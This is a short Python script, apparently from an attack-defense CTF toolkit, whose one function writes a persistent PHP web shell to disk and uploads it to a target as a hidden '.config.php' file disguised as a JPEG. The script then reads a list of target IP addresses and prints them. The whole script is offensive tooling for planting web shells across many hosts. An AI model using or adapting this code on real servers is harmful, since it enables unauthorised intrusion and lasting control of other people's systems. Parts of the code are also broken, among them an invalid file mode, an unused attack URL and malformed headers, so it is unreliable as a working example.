# coding:utf-8
import sys;sys.path.append("..")

from core.ad_shell import *
from core.ad_req import *
import requests
import urlparse
import re
import config.config as config



def upload_shell(url,ip):
    url_change = urlparse.urlparse(url)
    attack_url = url_change.scheme + "://" + ip + url_change.path + "?" + url_change.query
    shellname=ip+"shell"
    f=open(shellname,"rw")
    f.write(forever_shell(easy_shell(rand_shell_pass(ip))))
    
    content_type = "image/jpeg"
    file_name = "file"
    file_upload_name = ".config.php"
    
    headers={
        "",""
    }

    data={
        "":"",
    }

    file={
        file_name: (file_upload_name, f, content_type),
    }

    if headers=="":
        req=requests.post(url, data, files=file)
    else:
        req=requests.post(url, data, files=file,headers=headers)




f=open("../ip").readlines()

for i in f:
    print(i[:-1])